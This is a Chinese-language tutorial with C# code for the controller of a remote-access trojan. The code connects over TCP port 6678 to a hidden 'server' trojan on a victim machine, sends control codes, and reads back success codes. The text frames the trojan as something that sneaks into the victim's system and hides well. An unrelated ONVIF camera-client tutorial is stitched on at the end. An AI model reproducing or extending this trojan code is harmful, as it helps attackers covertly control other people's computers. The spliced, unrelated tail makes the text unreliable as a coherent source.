C#实现的木马之客户端

 

一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

使用的技术:

控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

控制端开发:

控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

控制端的开发:

控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

1、连接请求

使用了.NET类中的 System.Net.Sockets.TcpClient类,

TcpClient(string hostname,int port)

Hostname 是要控制的主机名称,当然你也可以用IP地址。

Port是端口。

// System.EventArgs包含事件数据类的基类

private void button7_Click(object sender, System.EventArgs e)

{

//记录操作,在richTextBox控件中增加操作信息

richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");

int port =6678;

try

{

//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口

client = new TcpClient(textBox1.Text,port);

}

catch

{

MessageBox.Show("服务器不在线!确定是否输入主机名称.");

richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");

}

}//private void buttion

2、测试是否与被控制机连接上。

程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流

//private NetworkStream stream;

代码如下:

private void button8_Click(object sender, System.EventArgs e)

{

//纪录操作

richTextBox1.AppendText("测试连接" +"\r");

try

{

stream = client.GetStream();

if(stream.CanWrite)

{

//发送控制码

string control = "jiance";

byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());

stream.Write(by,0,by.Length);

//下次使用

stream.Flush();

//启动接收反回数据的线程

//receive是线程执行的函数,见后面的分析

threadReceive = new Thread(new ThreadStart(receive));

threadReceive.Start();

} }

catch(Exception ee)

{ richTextBox1.AppendText (ee.Message+"\r");

MessageBox.Show(ee.Message);

} }

3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e)

{

//这里是确定要发送的控制码,RadioButton是窗体控件

if(radioButton1.Checked){ control = form2.zhucex;}

else if(radioButton2.Checked){ control =form3.zhuces;}

else if(radioButton3.Checked){ control = warring;}

else if(radioButton4.Checked){ control =suggest;}

else if(radioButton5.Checked){ control =form4.mumawe;}

else if(radioButton6.Checked){ control =drop;}

if (control =="000000")

{

MessageBox.Show("你没有输入任何控制目标!不发控制信号");

richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");

}

else if(control != "000000")

{ try

{ //记录操作

richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");

stream = client.GetStream();

if(stream.CanWrite )

{

byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());

stream.Write(by,0,by.Length);

stream.Flush();

threadReceive =new Thread(new ThreadStart(receive));

threadReceive.Start();

}//endif

}//try

catch

{

richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");

MessageBox.Show("服务器未连接1控制无效!" +"\r");

} }//else if

}

4、线程执行的函数

private void receive()

{

//设置读取数据的空间

byte[] bb = new byte[3];

//读取3个字节,i为实际读取的字节数

int i = stream.Read(bb,0,3);

//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);

string ss = System.Text.Encoding.ASCII.GetString(bb);

//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功

if(ss=="hjc")

{

MessageBox.Show("连接成功");

richTextBox1.AppendText("连接成功");

}

if(ss== "hkz")

{

richTextBox1.AppendText(control +"控制成功"+"\r");

MessageBox.Show(control +"控制成功"+"\r");

} }
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实现一个 C# 的 Onvif 客户端,你需要遵循以下步骤: 1. 引用 Onvif 标准的 WSDL 文件 Onvif 标准定义了一组 Web Services Description Language (WSDL) 文件,你需要将这些文件添加到你的 C# 项目中。这些文件包含了 Onvif 标准所定义的服务接口和数据类型。 2. 生成客户端代理类 使用 Visual Studio 或者命令行工具,基于 WSDL 文件生成客户端代理类,这样你就可以使用 C# 代码调用 Onvif 标准定义的服务接口。 3. 创建客户端对象 使用生成的客户端代理类创建客户端对象,你需要提供 Onvif 设备的 IP 地址、端口号、用户名和密码等信息。 4. 调用服务接口 使用客户端对象调用 Onvif 标准定义的服务接口,例如获取设备信息、控制云台、获取视频流等操作。 下面是一个简单的示例代码,演示了如何使用 C# 实现 Onvif 客户端: ```csharp using System; using System.ServiceModel; using onvif.services; namespace onvif_client { class Program { static void Main(string[] args) { // Onvif 设备的 IP 地址、端口号、用户名和密码 string address = "http://192.168.1.100/onvif/device_service"; string username = "admin"; string password = "admin"; // 创建服务绑定和客户端对象 var binding = new BasicHttpBinding(); var endpoint = new EndpointAddress(address); var client = new DeviceClient(binding, endpoint); // 设置验证凭据 client.ClientCredentials.UserName.UserName = username; client.ClientCredentials.UserName.Password = password; try { // 调用服务接口 var response = client.GetDeviceInformation(new GetDeviceInformationRequest()); // 打印设备信息 Console.WriteLine("Manufacturer: {0}", response.Manufacturer); Console.WriteLine("Model: {0}", response.Model); Console.WriteLine("Serial Number: {0}", response.SerialNumber); } catch (Exception ex) { Console.WriteLine("Error: {0}", ex.Message); } finally { // 关闭客户端 client.Close(); } } } } ``` 以上示例代码演示了如何使用 Onvif 标准定义的 GetDeviceInformation 接口获取设备信息。你可以根据需要调用其他的服务接口,实现更加复杂的操作。

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